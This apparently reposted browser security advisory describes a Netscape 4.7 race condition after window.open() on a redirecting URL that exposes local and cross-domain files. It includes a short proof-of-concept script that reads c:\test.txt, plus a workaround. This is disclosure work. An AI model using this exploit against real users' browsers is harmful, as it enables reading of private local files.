The first version of this document was created by Georgi Guninski, i
would like to report that this bug also works on netscape (Tested 4.7).
I added the document with needed changes for netscape.

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski is not liable for any damages caused by direct or  indirect use

of the information or functionality provided by this program. Georgi
Guninski, bears NO responsibility for content or misuse of this program
or any derivatives thereof.

Description:

Netscape under Windows 95 and NT 4.0 (suppose Win98 is
vulnerable) allows reading local text and HTML files and files from any
domain (probably reading files of other types of files is possible).
Window spoofing is possible.
It is also possible in some cases to read files behind fiewall.
This vulnerability may be exploited using HTML email message or a
newsgroup posting.

Details:

The problem is something like a race condition immediately after
window.open("HTTP-redirecting-URL").
If you do:
a=window.open("HTTP-redirecting-url");
b=a.document;
then you have access to the redirected URL's document using "b".

The code is:
----------------------------------------------------------------------------------------

<SCRIPT>
alert("Create short text file c:\\test.txt and it will be read and shown

in a message box");
a=window.open("http://www.nat.bg/~joro/reject.cgi?test.txt");
b=a.document;
setTimeout("alert(b.body.innerText);",4000);
</SCRIPT>
// "http://www.nat.bg/~joro/reject.cgi?test.txt" just does a HTTP
redirect to: "file://c:/test.txt"
----------------------------------------------------------------------------------------

Workaround:
Disable Active Scripting

Demonstration is available at http://www.nat.bg/~joro/msredir1.html

Credit:
All credit is given to Georgi Guninski, i only tested it on netscape and
made sure it works there too